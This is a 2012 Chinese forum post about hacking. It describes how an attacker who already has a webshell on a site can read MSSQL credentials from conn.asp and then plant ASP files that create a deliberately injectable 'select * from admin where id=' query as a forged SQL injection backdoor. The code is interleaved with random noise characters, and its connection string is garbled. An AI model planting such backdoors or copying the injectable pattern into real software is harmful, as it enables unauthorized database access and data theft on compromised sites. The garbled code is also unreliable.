首先你要拿了一个webshell，这样你找到连接数据库的文件，大多都是conn.asp这个文件里面有mssql的用户和密码，你要找到用户名、密码、数据库所在的IP，然后连接上去，至于连接大家应该都会，找到网站管理员的表。因为我测试的时候是用管理员的表，我朋友说任何表名都可以，只要这个表存在，代码如下：
3 d3 \3 ~+ j: e( C9 ~, j6 P5 eASP/Visual Basic代码6 u- W! A: O ?2 M( [1 j, `: U
<!--#include file="xx.asp"--> + e5 J8 O1 u* W& T/ D
<%
: Y9 B# g' Y- T/ cset rs=server.createobject("ADODB.recordset") : ]7 B# _- f S; h1 n/ m! g
id = request("id") 2 H- y% {5 t/ Z' ~; G+ w+ D
strSQL = "select * from admin where id=" & id 3 @$ u7 | W0 f% @( m9 a9 A$ {! t
rs.open strSQL,conn,1,3 - v/ e1 V- f- N! D# ]; ^2 |) W
rs.close 9 n. ?& x2 c9 `3 K& ?: F R8 w# ^
%> * o5 R/ ~) c7 q4 j$ B0 \
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名，注意必须存在。你可以连接上去看下表名就是了！这里假设的是admin是表名！这个文件名随便保存！! p8 a) t- m, N6 L+ h8 [/ _, C# V
然后就要构造一个连接数据库的文件了，代码如下：; K4 P, A- k0 [5 P' W9 {! U
ASP/Visual Basic代码8 u/ K8 B: T% S4 n# [
<%
+ p( q, |" h6 XstrSQLServerName = "000.000.000.000" '服务器名称或地址
. m" C3 _9 d2 g' MstrSQLDBUserName = "sqlname" '数据库帐号 $ X- V7 `1 E Y# t8 v- H
strSQLDBPassword = "sqlpass" '数据库密码 ; n+ G3 t. Q, I0 { C; t. X' w
strSQLDBName = "sqldataname" '数据库名称
/ M# @# @- T! sSet conn = Server.CreateObject("ADODB.Connection") 0 I+ t* ?. Q! @& q2 u* h, _$ v' W
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ) V* M6 Z8 m; D& ?
conn.open strCon
. _4 Z M" _$ e3 ] J. }%> 5 Y$ s) K) j# K9 x+ ]: I
这里应该都会了，就不罗嗦了，不过注意的是保存的文件名要和include调用的名字一样。就这样，正常情况下，就OK了，伪造成功
) H% h, X5 b8 d6 @ |
发表于 2012-9-13 17:53:08
收藏
支持
反对